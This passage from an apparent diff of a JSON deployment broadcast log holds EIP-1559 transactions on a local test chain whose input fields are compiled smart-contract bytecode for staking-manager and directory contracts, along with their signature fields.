b2be9892a6a8be988a9c8ea8960831b608482015260a401610624565b6001600160a01b03848116600090815260ce602090815260408220805460018101825590835291200180546001600160a01b0319169184169190911790555b6001600160a01b03808516600090815260cd6020908152604080832093861683529290529081208054839290611f839084906130ec565b9091555050604080516001600160a01b03868116825285811660208301528416818301526060810183905290517f7cfff908a4b583f36430b25d75964c458d8ede8a99bd61be750e97ee1b2f3a969181900360800190a150505050565b60cb54604080516001600160a01b03928316815291831660208301527f4264275e593955ff9d6146a51a4525f6ddace2e81db9391abcc9d1ca48047d29910160405180910390a160cb80546001600160a01b0319166001600160a01b0392909216919091179055565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b6097546001600160a01b031615801561210157506001600160a01b03821615155b6121835760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610624565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2610a988261164c565b60008060006121d58585612436565b915091506121e2816124a4565b5090505b92915050565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052610bca90859061265a565b6001600160a01b038216600090815260ce6020526040812054905b81811015612360576001600160a01b03848116600090815260ce602052604090208054918516918390811061229857612298612ff7565b6000918252602090912001546001600160a01b031603612358576001600160a01b038416600090815260ce6020526040902080546122d8906001906130ff565b815481106122e8576122e8612ff7565b60009182526020808320909101546001600160a01b03878116845260ce909252604090922080549190921691908390811061232557612325612ff7565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550612360565b600101612261565b8181036123e75760405162461bcd60e51b815260206004820152604960248201527f53747261746567794d616e616765722e5f72656d6f766553747261746567794660448201527f726f6d5374616b657253747261746567794c6973743a207374726174656779206064820152681b9bdd08199bdd5b9960ba1b608482015260a401610624565b6001600160a01b038416600090815260ce6020526040902080548061240e5761240e613112565b600082815260209020810160001990810180546001600160a01b031916905501905550505050565b600080825160410361246c5760208301516040840151606085015160001a6124608782858561272c565b9450945050505061249d565b8251604003612495576020830151604084015161248a868383612819565b93509350505061249d565b506000905060025b9250929050565b60008160048111156124b8576124b8613128565b036124c05750565b60018160048111156124d4576124d4613128565b036125215760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610624565b600281600481111561253557612535613128565b036125825760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610624565b600381600481111561259657612596613128565b036125ee5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610624565b600481600481111561260257612602613128565b036106365760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610624565b60006126af826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166128529092919063ffffffff16565b80519091501561185d57808060200190518101906126cd9190612eca565b61185d5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610624565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156127635750600090506003612810565b8460ff16601b1415801561277b57508460ff16601c14155b1561278c5750600090506004612810565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa1580156127e0573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661280957600060019250925050612810565b9150600090505b94509492505050565b6000806001600160ff1b0383168161283660ff86901c601b6130ec565b90506128448782888561272c565b935093505050935093915050565b60606128618484600085612869565b949350505050565b6060824710156128ca5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610624565b6001600160a01b0385163b6129215760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610624565b600080866001600160a01b0316858760405161293d919061313e565b60006040518083038185875af1925050503d806000811461297a576040519150601f19603f3d011682016040523d82523d6000602084013e61297f565b606091505b509150915061298f82828661299a565b979650505050505050565b606083156129a9575081611d45565b8251156129b95782518084602001fd5b8160405162461bcd60e51b8152600401610624919061315a565b6001600160a01b038116811461063657600080fd5b6000602082840312156129fa57600080fd5b8135611d45816129d3565b600060208284031215612a1757600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b60008060008060008060c08789031215612a4d57600080fd5b8635612a58816129d3565b95506020870135612a68816129d3565b9450604087013593506060870135612a7f816129d3565b92506080870135915060a087013567ffffffffffffffff811115612aa257600080fd5b8701601f81018913612ab357600080fd5b803567ffffffffffffffff811115612acd57612acd612a1e565b604051601f8201601f19908116603f0116810167ffffffffffffffff81118282101715612afc57612afc612a1e565b6040528181528282016020018b1015612b1457600080fd5b816020840160208301376000602083830101528093505050509295509295509295565b801515811461063657600080fd5b60008060408385031215612b5857600080fd5b8235612b63816129d3565b91506020830135612b7381612b37565b809150509250929050565b600060208284031215612b9057600080fd5b813560ff81168114611d4557600080fd5b60008060408385031215612bb457600080fd5b8235612bbf816129d3565b91506020830135612b73816129d3565b600080600060608486031215612be457600080fd5b8335612bef816129d3565b92506020840135612bff816129d3565b929592945050506040919091013590565b6040808252835190820181905260009060208501906060840190835b81811015612c535783516001600160a01b0316835260209384019390920191600101612c2c565b50508381036020808601919091528551808352918101925085019060005b81811015612c8f578251845260209384019390920191600101612c71565b50919695505050505050565b60008083601f840112612cad57600080fd5b50813567ffffffffffffffff811115612cc557600080fd5b6020830191508360208260051b850101111561249d57600080fd5b60008060208385031215612cf357600080fd5b823567ffffffffffffffff811115612d0a57600080fd5b612d1685828601612c9b565b90969095509350505050565b60008060008060808587031215612d3857600080fd5b8435612d43816129d3565b93506020850135612d53816129d3565b92506040850135612d63816129d3565b9396929550929360600135925050565b60008060008060808587031215612d8957600080fd5b8435612d94816129d3565b93506020850135612da4816129d3565b9250604085013591506060850135612dbb816129d3565b939692955090935050565b60008060408385031215612dd957600080fd5b8235612de4816129d3565b946020939093013593505050565b60008060008060408587031215612e0857600080fd5b843567ffffffffffffffff811115612e1f57600080fd5b612e2b87828801612c9b565b909550935050602085013567ffffffffffffffff811115612e4b57600080fd5b612e5787828801612c9b565b95989497509550505050565b600060208284031215612e7557600080fd5b8151611d45816129d3565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215612edc57600080fd5b8151611d4581612b37565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208082526044908201527f53747261746567794d616e616765722e6f6e6c7953747261746567795768697460408201527f656c69737465723a206e6f742074686520737472617465677957686974656c6960608201526339ba32b960e11b608082015260a00190565b602080825260409082018190527f53747261746567794d616e616765722e6f6e6c7944656c65676174696f6e4d61908201527f6e616765723a206e6f74207468652044656c65676174696f6e4d616e61676572606082015260800190565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561301f57600080fd5b8135611d4581612b37565b60005b8381101561304557818101518382015260200161302d565b50506000910152565b6000815180845261306681602086016020860161302a565b601f01601f19169290920160200192915050565b828152604060208201526000612861604083018461304e565b6000602082840312156130a557600080fd5b81516001600160e01b031981168114611d4557600080fd5b6000602082840312156130cf57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156121e6576121e66130d6565b818103818111156121e6576121e66130d6565b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052602160045260246000fd5b6000825161315081846020870161302a565b9190910192915050565b602081526000611d45602083018461304e56fea2646970667358221220ac6d2edd6083c86d546592d6164295a40fc9f3efad84a275c7ca870c64044f2464736f6c634300081c0033000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc90000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c853", - "r": "0xe7e5f1f73ca6c6eaf71e1595d31d074540068f66f0680e65a4415b05b38b8654", - "s": "0x4ee6feffc8153ba2a9ab1fb8b6b9c5cbd93c38cbf5bfa21d881c689538d5e1fa", - "yParity": "0x1", - "hash": "0x24844141bd83f9ae1b97e98c0adfe35fc92104c3140a19a283bcaca2c1bbcbdd" - } - }, - "impersonated_sender": null - }, - { - "transaction": { - "EIP1559": { - "chainId": "0x7a69", - "nonce": "0xe", - "gas": "0x227f19", - "maxFeePerGas": "0x77359401", - "maxPriorityFeePerGas": "0x1", - "value": "0x0", - "accessList": [], - "input": "0x60c060405234801561001057600080fd5b50604051611f65380380611f6583398101604081905261002f9161010e565b6001600160a01b03811660805261004461004e565b504660a05261013e565b600054610100900460ff16156100ba5760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101561010c576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b60006020828403121561012057600080fd5b81516001600160a01b038116811461013757600080fd5b9392505050565b60805160a051611dfb61016a6000396000610ea501526000818161032401526109810152611dfb6000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c80638da5cb5b116100b8578063d79aceab1161007c578063d79aceab146102f8578063df5cf7231461031f578063ec76f44214610346578063f2fde38b14610359578063f698da251461036c578063fabc1cbc1461037457600080fd5b80638da5cb5b1461029b5780639926ee7d146102ac578063a1060c88146102bf578063a364f4da146102d2578063a98fb355146102e557600080fd5b806349075da31161010a57806349075da3146101fa578063595c6a67146102355780635ac86ab71461023d5780635c975abb14610260578063715018a614610268578063886f11951461027057600080fd5b806310d67a2f14610147578063136439dd1461015c5780631794bb3c1461016f57806320606b7014610182578063374823b5146101bc575b600080fd5b61015a6101553660046118a2565b610387565b005b61015a61016a3660046118c6565b610443565b61015a61017d3660046118df565b610582565b6101a97f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6040519081526020015b60405180910390f35b6101ea6101ca366004611920565b609960209081526000928352604080842090915290825290205460ff1681565b60405190151581526020016101b3565b61022861020836600461194c565b609860209081526000928352604080842090915290825290205460ff1681565b6040516101b3919061199b565b61015a6106ac565b6101ea61024b3660046119c3565b606654600160ff9092169190911b9081161490565b6066546101a9565b61015a610773565b606554610283906001600160a01b031681565b6040516001600160a01b0390911681526020016101b3565b6033546001600160a01b0316610283565b61015a6102ba366004611a56565b610787565b6101a96102cd366004611b4b565b610b18565b61015a6102e03660046118a2565b610bd1565b61015a6102f3366004611b91565b610d39565b6101a97fda2c89bafdd34776a2b8bb9c83c82f419e20cc8c67207f70edd58249b92661bd81565b6102837f000000000000000000000000000000000000000000000000000000000000000081565b61015a6103543660046118c6565b610d80565b61015a6103673660046118a2565b610e2b565b6101a9610ea1565b61015a6103823660046118c6565b610ede565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156103da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103fe9190611c05565b6001600160a01b0316336001600160a01b0316146104375760405162461bcd60e51b815260040161042e90611c22565b60405180910390fd5b6104408161103a565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa15801561048b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104af9190611c6c565b6104cb5760405162461bcd60e51b815260040161042e90611c8e565b606654818116146105445760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161042e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b600054610100900460ff16158080156105a25750600054600160ff909116105b806105bc5750303b1580156105bc575060005460ff166001145b61061f5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161042e565b6000805460ff191660011790558015610642576000805461ff0019166101001790555b61064c8383611131565b61065461121b565b609755610660846112b2565b80156106a6576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156106f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107189190611c6c565b6107345760405162461bcd60e51b815260040161042e90611c8e565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b61077b611304565b61078560006112b2565b565b6066546000906001908116036107db5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161042e565b42826040015110156108435760405162461bcd60e51b815260206004820152603e6024820152600080516020611da683398151915260448201527f56533a206f70657261746f72207369676e617475726520657870697265640000606482015260840161042e565b60013360009081526098602090815260408083206001600160a01b038816845290915290205460ff16600181111561087d5761087d611985565b036108de5760405162461bcd60e51b815260206004820152603f6024820152600080516020611da683398151915260448201527f56533a206f70657261746f7220616c7265616479207265676973746572656400606482015260840161042e565b6001600160a01b038316600090815260996020908152604080832085830151845290915290205460ff16156109625760405162461bcd60e51b81526020600482015260366024820152600080516020611da68339815191526044820152751594ce881cd85b1d08185b1c9958591e481cdc195b9d60521b606482015260840161042e565b6040516336b87bd760e11b81526001600160a01b0384811660048301527f00000000000000000000000000000000000000000000000000000000000000001690636d70f7ae90602401602060405180830381865afa1580156109c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ec9190611c6c565b610a625760405162461bcd60e51b815260206004820152604d6024820152600080516020611da683398151915260448201527f56533a206f70657261746f72206e6f74207265676973746572656420746f204560648201526c1a59d95b93185e595c881e595d609a1b608482015260a40161042e565b6000610a78843385602001518660400151610b18565b9050610a898482856000015161135e565b3360008181526098602090815260408083206001600160a01b0389168085529083528184208054600160ff199182168117909255609985528386208a860151875290945293829020805490931684179092555190917ff0952b1c65271d819d39983d2abb044b9cace59bcc4d4dd389f586ebdcb15b4191610b0a919061199b565b60405180910390a350505050565b604080517fda2c89bafdd34776a2b8bb9c83c82f419e20cc8c67207f70edd58249b92661bd6020808301919091526001600160a01b0387811683850152861660608301526080820185905260a08083018590528351808403909101815260c0909201909252805191012060009081610b8e610ea1565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f190181529190528051602090910120979650505050505050565b606654600090600190811603610c255760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161042e565b60013360009081526098602090815260408083206001600160a01b038716845290915290205460ff166001811115610c5f57610c5f611985565b14610cd25760405162461bcd60e51b815260206004820152603f60248201527f4156534469726563746f72792e646572656769737465724f70657261746f724660448201527f726f6d4156533a206f70657261746f72206e6f74207265676973746572656400606482015260840161042e565b3360008181526098602090815260408083206001600160a01b0387168085529252808320805460ff191690555190917ff0952b1c65271d819d39983d2abb044b9cace59bcc4d4dd389f586ebdcb15b4191610d2d919061199b565b60405180910390a35050565b336001600160a01b03167fa89c1dc243d8908a96dd84944bcc97d6bc6ac00dd78e20621576be6a3c9437138383604051610d74929190611cd6565b60405180910390a25050565b33600090815260996020908152604080832084845290915290205460ff1615610e055760405162461bcd60e51b815260206004820152603160248201527f4156534469726563746f72792e63616e63656c53616c743a2063616e6e6f742060448201527018d85b98d95b081cdc195b9d081cd85b1d607a1b606482015260840161042e565b33600090815260996020908152604080832093835292905220805460ff19166001179055565b610e33611304565b6001600160a01b038116610e985760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161042e565b610440816112b2565b60007f00000000000000000000000000000000000000000000000000000000000000004603610ed1575060975490565b610ed961121b565b905090565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f559190611c05565b6001600160a01b0316336001600160a01b031614610f855760405162461bcd60e51b815260040161042e90611c22565b6066541981196066541916146110035760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161042e565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c90602001610577565b6001600160a01b0381166110c85760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a40161042e565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6065546001600160a01b031615801561115257506001600160a01b03821615155b6111d45760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161042e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a26112178261103a565b5050565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6033546001600160a01b031633146107855760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161042e565b6001600160a01b0383163b1561147d57604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e9061139e9086908690600401611d05565b602060405180830381865afa1580156113bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113df9190611d5a565b6001600160e01b031916146114785760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a40161042e565b505050565b826001600160a01b0316611491838361151d565b6001600160a01b0316146114785760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a40161042e565b600080600061152c8585611543565b91509150611539816115b1565b5090505b92915050565b60008082516041036115795760208301516040840151606085015160001a61156d87828585611767565b945094505050506115aa565b82516040036115a25760208301516040840151611597868383611854565b9350935050506115aa565b506000905060025b9250929050565b60008160048111156115c5576115c5611985565b036115cd5750565b60018160048111156115e1576115e1611985565b0361162e5760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e61747572650000000000000000604482015260640161042e565b600281600481111561164257611642611985565b0361168f5760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e67746800604482015260640161042e565b60038160048111156116a3576116a3611985565b036116fb5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b606482015260840161042e565b600481600481111561170f5761170f611985565b036104405760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b606482015260840161042e565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a083111561179e575060009050600361184b565b8460ff16601b141580156117b657508460ff16601c14155b156117c7575060009050600461184b565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa15801561181b573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166118445760006001925092505061184b565b9150600090505b94509492505050565b6000806001600160ff1b0383168161187160ff86901c601b611d84565b905061187f87828885611767565b935093505050935093915050565b6001600160a01b038116811461044057600080fd5b6000602082840312156118b457600080fd5b81356118bf8161188d565b9392505050565b6000602082840312156118d857600080fd5b5035919050565b6000806000606084860312156118f457600080fd5b83356118ff8161188d565b9250602084013561190f8161188d565b929592945050506040919091013590565b6000806040838503121561193357600080fd5b823561193e8161188d565b946020939093013593505050565b6000806040838503121561195f57600080fd5b823561196a8161188d565b9150602083013561197a8161188d565b809150509250929050565b634e487b7160e01b600052602160045260246000fd5b60208101600283106119bd57634e487b7160e01b600052602160045260246000fd5b91905290565b6000602082840312156119d557600080fd5b813560ff811681146118bf57600080fd5b634e487b7160e01b600052604160045260246000fd5b6040516060810167ffffffffffffffff81118282101715611a1f57611a1f6119e6565b60405290565b604051601f8201601f1916810167ffffffffffffffff81118282101715611a4e57611a4e6119e6565b604052919050565b60008060408385031215611a6957600080fd5b8235611a748161188d565b9150602083013567ffffffffffffffff811115611a9057600080fd5b830160608186031215611aa257600080fd5b611aaa6119fc565b813567ffffffffffffffff811115611ac157600080fd5b8201601f81018713611ad257600080fd5b803567ffffffffffffffff811115611aec57611aec6119e6565b611aff601f8201601f1916602001611a25565b818152886020838501011115611b1457600080fd5b8160208401602083013760006020928201830152835283810135908301525060409182013591810191909152919491935090915050565b60008060008060808587031215611b6157600080fd5b8435611b6c8161188d565b93506020850135611b7c8161188d565b93969395505050506040820135916060013590565b60008060208385031215611ba457600080fd5b823567ffffffffffffffff811115611bbb57600080fd5b8301601f81018513611bcc57600080fd5b803567ffffffffffffffff811115611be357600080fd5b856020828401011115611bf557600080fd5b6020919091019590945092505050565b600060208284031215611c1757600080fd5b81516118bf8161188d565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611c7e57600080fd5b815180151581146118bf57600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208152816020820152818360408301376000818301604090810191909152601f909201601f19160101919050565b828152604060208201526000825180604084015260005b81811015611d395760208186018101516060868401015201611d1c565b506000606082850101526060601f19601f8301168401019150509392505050565b600060208284031215611d6c57600080fd5b81516001600160e01b0319811681146118bf57600080fd5b8082018082111561153d57634e487b7160e01b600052601160045260246000fdfe4156534469726563746f72792e72656769737465724f70657261746f72546f41a2646970667358221220626c725dc93ffa1c0bc54f081ad507d11a26614950e1667781a557683d3b300b64736f6c634300081c0033000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc9", - "r": "0x8cb638c5efdec70024c55fba69f001c052721d99e6e682c721a544ab2b1ff83f", - "s": "0x7b388d95d5c870968a3ab3a503887324d6fabb4ec9b3ccc1bb9750a9daa12da", - "yParity": "0x1", - "hash": "0xe16e7b1d8ace4d16fde340a4bc670436d4b83ba69827593207eea6f4fc58568a" + "input": "0x61010060405234801561001157600080fd5b5060405161337a38038061337a83398101604081905261003091610135565b6001600160a01b0380841660805280831660a052811660c05261005161005d565b50504660e05250610182565b600054610100900460ff16156100c95760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101561011b576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6001600160a01b038116811461013257600080fd5b50565b60008060006060848603121561014a57600080fd5b83516101558161011d565b60208501519093506101668161011d565b60408501519092506101778161011d565b809150509250925092565b60805160a05160c05160e0516131a36101d760003960006114b70152600061046e0152600061028501526000818161051a01528181610b8201528181610ecf01528181610f230152611a6c01526131a36000f3fe608060405234801561001057600080fd5b50600436106102065760003560e01c80638da5cb5b1161011a578063c6656702116100ad578063df5cf7231161007c578063df5cf72314610515578063e7a050aa1461053c578063f2fde38b1461054f578063f698da2514610562578063fabc1cbc1461056a57600080fd5b8063c6656702146104c9578063cbc2bd62146104dc578063cf756fdf146104ef578063df5b35471461050257600080fd5b8063b1344271116100e9578063b134427114610469578063b5d8b5b814610490578063c4623ea1146104a3578063c608c7f3146104b657600080fd5b80638da5cb5b1461040157806394f649dd14610412578063967fc0d2146104335780639b4da03d1461044657600080fd5b80635ac86ab71161019d5780637a7e0d921161016c5780637a7e0d92146103675780637ecebe0014610392578063886f1195146103b25780638b8aac3c146103c55780638c80d4e5146103ee57600080fd5b80635ac86ab7146103015780635c975abb14610334578063663c1de41461033c578063715018a61461035f57600080fd5b80634665bcda116101d95780634665bcda1461028057806348825e94146102bf5780634e5a4263146102e6578063595c6a67146102f957600080fd5b806310d67a2f1461020b578063136439dd1461022057806320606b701461023357806332e89ace1461026d575b600080fd5b61021e6102193660046129e8565b61057d565b005b61021e61022e366004612a05565b610639565b61025a7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6040519081526020015b60405180910390f35b61025a61027b366004612a34565b610778565b6102a77f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610264565b61025a7f4337f82d142e41f2a8c10547cd8c859bddb92262a61058e77842e24d9dea922481565b61021e6102f4366004612b45565b610a64565b61021e610a9c565b61032461030f366004612b7e565b609854600160ff9092169190911b9081161490565b6040519015158152602001610264565b60985461025a565b61032461034a3660046129e8565b60d16020526000908152604090205460ff1681565b61021e610b63565b61025a610375366004612ba1565b60cd60209081526000928352604080842090915290825290205481565b61025a6103a03660046129e8565b60ca6020526000908152604090205481565b6097546102a7906001600160a01b031681565b61025a6103d33660046129e8565b6001600160a01b0316600090815260ce602052604090205490565b61021e6103fc366004612bcf565b610b77565b6033546001600160a01b03166102a7565b6104256104203660046129e8565b610bd0565b604051610264929190612c10565b60cb546102a7906001600160a01b031681565b6103246104543660046129e8565b60d36020526000908152604090205460ff1681565b6102a77f000000000000000000000000000000000000000000000000000000000000000081565b61021e61049e366004612ce0565b610d50565b61021e6104b1366004612d22565b610ec4565b61021e6104c4366004612d73565b610f18565b61021e6104d73660046129e8565b610fd0565b6102a76104ea366004612dc6565b610fe1565b61021e6104fd366004612d22565b611019565b61021e610510366004612df2565b61114d565b6102a77f000000000000000000000000000000000000000000000000000000000000000081565b61025a61054a366004612bcf565b611376565b61021e61055d3660046129e8565b61143d565b61025a6114b3565b61021e610578366004612a05565b6114f0565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f49190612e63565b6001600160a01b0316336001600160a01b03161461062d5760405162461bcd60e51b815260040161062490612e80565b60405180910390fd5b6106368161164c565b50565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610681573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a59190612eca565b6106c15760405162461bcd60e51b815260040161062490612ee7565b6098548181161461073a5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610624565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60985460009081906001908116036107ce5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610624565b6002606554036108205760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610624565b60026065556001600160a01b038816600090815260d3602052604090205460ff16156108c75760405162461bcd60e51b815260206004820152604a60248201527f53747261746567794d616e616765722e6465706f736974496e746f537472617460448201527f656779576974685369676e61747572653a207468697264207472616e736665726064820152691cc8191a5cd8589b195960b21b608482015260a401610624565b428410156109495760405162461bcd60e51b815260206004820152604360248201527f53747261746567794d616e616765722e6465706f736974496e746f537472617460448201527f656779576974685369676e61747572653a207369676e617475726520657870696064820152621c995960ea1b608482015260a401610624565b6001600160a01b03858116600081815260ca602090815260408083205481517f4337f82d142e41f2a8c10547cd8c859bddb92262a61058e77842e24d9dea922493810193909352908201939093528b84166060820152928a16608084015260a0830189905260c0830182905260e0830187905290916101000160408051601f1981840301815291815281516020928301206001600160a01b038a16600090815260ca9093529082206001850190559150610a016114b3565b60405161190160f01b6020820152602281019190915260428101839052606201604051602081830303815290604052805190602001209050610a44888288611743565b610a50888c8c8c611902565b60016065559b9a5050505050505050505050565b60cb546001600160a01b03163314610a8e5760405162461bcd60e51b815260040161062490612f2f565b610a988282611ad1565b5050565b60975460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610ae4573d6000803e3d6000fd5b505050506040513d601f19601f82011682